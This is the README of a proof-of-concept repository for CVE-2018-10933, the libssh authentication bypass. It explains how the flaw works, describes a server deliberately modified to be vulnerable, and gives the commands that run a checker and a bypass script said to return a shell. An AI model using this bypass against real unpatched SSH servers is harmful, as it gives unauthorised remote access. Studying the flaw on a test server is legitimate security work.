hsw109/cve-2018-10933Education purpose for CVE-2018-10933
[Explaination]
This is educational purpose for CVE-2018-10933, which is libSSH bypass authentication!
libssh versions 0.6 and above have an authentication bypass vulnerability in the server code.
By presenting the server an SSH2_MSG_USERAUTH_SUCCESS message in place of the SSH2_MSG_USERAUTH_REQUEST
message which the server would expect to initiate authentication, the attacker could successfully authentciate
without any credentials.
The "patch" folder contains modified code in the server for testing purpose (which injects a SSH2_MSG_USERAUTH_SUCCESS packet during any authentication),
because of this vulnerability has been patched since libSSH-0.7.5 version (complicated to regenerate environment suit with old version of libSSH)
[Usage]
If you want to run this PoC on your machine, please follow instructions.
Clone the repos.
Adding library to your local machine
sudo cp CVE-2018-10933-PoC/libssh-0.8.3/src/* /usr/local/lib
pip install -r requirements.txt
cd libssh-0.8.3
./ssh_server -v [server_IP] -p [port] -d ssh_host_dsa_key -k ssh_host_rsa_key
python3 libSSHcheck.py -t [server_IP] -p [server_port]
Then you got the message which is the banner.
Execute the payload, then you got a shell:
python3 paramikoBypass.py -t [server_IP] -p [server_port]
=> Succeed!
[Reference]
https://github.com/hackerhouse-opensource/
https://www.exploit-db.com/exploits/45638